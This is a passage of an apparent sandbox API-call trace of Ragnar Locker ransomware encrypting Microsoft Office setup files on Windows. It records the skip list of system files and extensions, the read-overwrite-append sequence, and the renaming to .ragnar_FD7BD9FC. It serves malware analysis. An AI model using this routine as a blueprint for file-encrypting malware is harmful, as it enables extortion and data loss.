(lpString1=".", lpString2=".") returned 0 [0065.679] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79637b00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79637b00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.679] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0065.679] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0065.679] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0065.679] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2=".") returned 1 [0065.679] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="..") returned 1 [0065.679] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79637b00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x79637b00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0065.679] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0065.679] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0065.679] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0065.679] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0065.680] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0065.680] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0065.680] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0065.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79637b00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79637b00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0065.680] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79637b00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79637b00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.680] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0065.680] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x67 [0065.680] lstrcpyW (in: lpString1=0x1ea0d8, lpString2="PublisherMUI.XML" | out: lpString1="PublisherMUI.XML") returned="PublisherMUI.XML" [0065.680] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned=".XML" [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="autorun.inf") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="boot.ini") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="bootfont.bin") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="bootsect.bak") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="bootmgr") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="bootmgr.efi") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="bootmgfw.efi") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="desktop.ini") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="iconcache.db") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="ntldr") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="ntuser.dat") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="ntuser.dat.log") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="ntuser.ini") returned 1 [0065.680] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="thumbs.db") returned -1 [0065.680] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0065.680] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0065.680] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0065.680] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0065.681] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0065.681] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0065.681] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0065.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0065.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0065.681] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1450) returned 1 [0065.681] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.681] GetProcessHeap () returned 0x580000 [0065.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0065.681] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0065.701] VirtualAlloc (lpAddress=0x0, dwSize=0x5aa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0065.701] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.701] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0065.701] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x5aa, lpOverlapped=0x0) returned 1 [0065.701] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0065.701] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.701] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x5aa, lpOverlapped=0x0) returned 1 [0065.702] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.702] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0065.702] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.702] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.702] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.702] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.702] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0065.702] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.702] GetProcessHeap () returned 0x580000 [0065.702] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0065.703] CloseHandle (hObject=0x104) returned 1 [0065.703] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" [0065.703] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.ragnar_FD7BD9FC" [0065.703] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0065.704] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79637b00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x79637b00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0065.704] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x67 [0065.704] lstrcpyW (in: lpString1=0x1ea0d8, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0065.704] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0065.704] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0065.704] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0065.704] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x67 [0065.704] lstrcpyW (in: lpString1=0x1ea0d8, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0065.704] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned=".XML" [0065.704] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0065.704] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0065.704] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0065.704] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0065.704] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0065.704] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0065.704] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0065.704] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0065.705] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0065.705] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0065.705] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0065.705] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0065.705] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0065.705] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0065.705] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0065.705] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0065.705] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0065.705] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0065.705] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0065.705] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0065.705] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0065.706] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0065.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0065.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0065.707] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1608) returned 1 [0065.707] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x63f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.707] GetProcessHeap () returned 0x580000 [0065.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0065.707] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0065.755] VirtualAlloc (lpAddress=0x0, dwSize=0x648, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0065.756] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.756] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0065.756] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x648, lpOverlapped=0x0) returned 1 [0065.756] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0065.758] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x648, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.758] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x648, lpOverlapped=0x0) returned 1 [0065.758] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x648, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.758] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0065.758] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x648, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.758] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.758] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.759] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.759] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0065.759] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.759] GetProcessHeap () returned 0x580000 [0065.759] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0065.759] CloseHandle (hObject=0x104) returned 1 [0065.760] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" [0065.760] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0065.760] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0065.760] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0065.760] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0065.761] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76486fc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76486fc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0065.761] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0065.761] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0065.761] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0065.761] lstrcmpiW (lpString1="Setup.exe", lpString2=".") returned 1 [0065.761] lstrcmpiW (lpString1="Setup.exe", lpString2="..") returned 1 [0065.761] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, 